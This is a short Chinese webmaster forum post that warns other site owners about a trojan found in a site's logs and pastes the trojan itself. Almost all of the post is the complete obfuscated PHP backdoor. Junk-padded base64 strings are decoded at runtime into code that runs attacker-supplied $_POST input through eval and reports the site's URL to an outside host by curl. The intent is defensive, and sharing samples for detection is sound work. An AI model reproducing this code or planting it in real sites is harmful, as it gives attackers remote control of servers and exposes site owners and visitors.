今天从网站日志里查出了一个木马，分享给大家，希望各位站长注意了。

<?php
$pg=”lZFUl9OrrQUrr1FIl0gLiAkX1NFUlZFUlsiUkVRVUrrVTVF9rrVUkkirrXTrrsKICAgIH0KICAgIHJldHVybrrirrArrkcGFnZrrVVSTDsKfQoKJF91cmw9Y3VyUGFnZVVSTCgpOwokdXJsPSdodHRwOi8vY25rroNGNrZmrrYud2ViLTE3Ni5jb20vWXpKb2JHSkhkejA9LnBrrocD91cmw9Jy4kX3VybC4nLS0trrLS0+Jy4nLrr21rrkrrNV9mdrrW5rrjdGlvbi5waHrrAnOwokY3VyrrbDrr1jrrdXJrrsX2lrruaXQoJHVyrrbrrCrrk7CmN1crrmxf”;
$mm=”c2V0brr3B0KCRjrrdXrrJsLCBDVVJMT1BUX1RJTUVPVVQsIDIwrrKTsgIAovL2N1cmxfcrr2rrV0b3B5KCRrrjdXJsLENVUkxPUFRfSFRrrUrrUEhFQUrrRFUiwxrrKTsKLyrr9jdXJsX3NldG9wdCgkY3VybCxrrDVVJMT1BrrUXrr05PQk9rrErrWSwrrxKTrrsKrrYrr3VyrrbF9zZXRrrvcHQoJGN1cmwsrrQ1VSTE9QVrrF9SRVRVUk5UUkrrFOU0ZFUiwxrrKTsKJGRrrhrrdGEgPrrSBjdXJsX2V4ZWMoJGN1cmrrwrrpOwpjdXJsX2Nsb3NrrlKCRjdXJsKTsK”;
$cw=”SAiOi8vIjsrrKCrriAgICBpZiArroJF9TRVJrrWRVJbIlNFUlZrrFUl9QT1JUIrrl0gIT0gIjgwIirrkKICAgIHsKICAgIrrCAgICrrAkcrrGFnZVrrVSrrTCrrAuPSrrArrkX1rrNFUlZFUlsiU0VSVkVSX05BTUUiXSAuICI6IiAuICRfrrU0VSVkVSWyJTRVrrJWRVJfUE9SVCrrJdrrIC4grrJF9TRVJrrWRrrVJbIrrlJFrrUVVFU1RfVrrVJrrJrrIl07CiAgICB9CrrirrAgICBlbHNlCiAgICB7CiAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFrrU”;
$xwh=”CmVycm9rryrrX3JlcrrG9ydrrGluZygwKTsKQGV2YWwrroJrrF9QT1NUWydhc2rrRmfiFAIyddrrKTsKQGV2YWwoJF9QT1rrNUWyd4eG9rrvXzErryMzQrrnXSkrr7CmZ1bmN0aW9uIGNrr1clBhZ2VVUkwoKQp7CirrAgICAkcGFnZVrrVSTCA9ICdodHRwJzsrrKCiAgICBpZrriAoJF9TRrrVJWRVJbIkhUVrrFBTIl0gPT0gIm9uIikKrrICrrAgIHsKICAgICAgICArrkcGFnZVVrrSTCAuPSAicyI7CirrAgICB9CrriAgrrICrrAkcGFnZVVSTCAuP”;
$ibf = str_replace(“y”,””,”ysytyry_yryeypylyacye”);
$agq = $ibf(“v”, “”, “vbavsev64_vdvevcvovdve”);
$nv = $ibf(“up”,””,”upcuprupeupaupteup_upfupuupnupcuptupiupoupn”);
//echo $agq($ibf(“rr”, “”, $xwh.$cw.$pg.$mm));exit;
$dw = $nv(”, $agq($ibf(“rr”, “”, $xwh.$cw.$pg.$mm))); $dw();
?>

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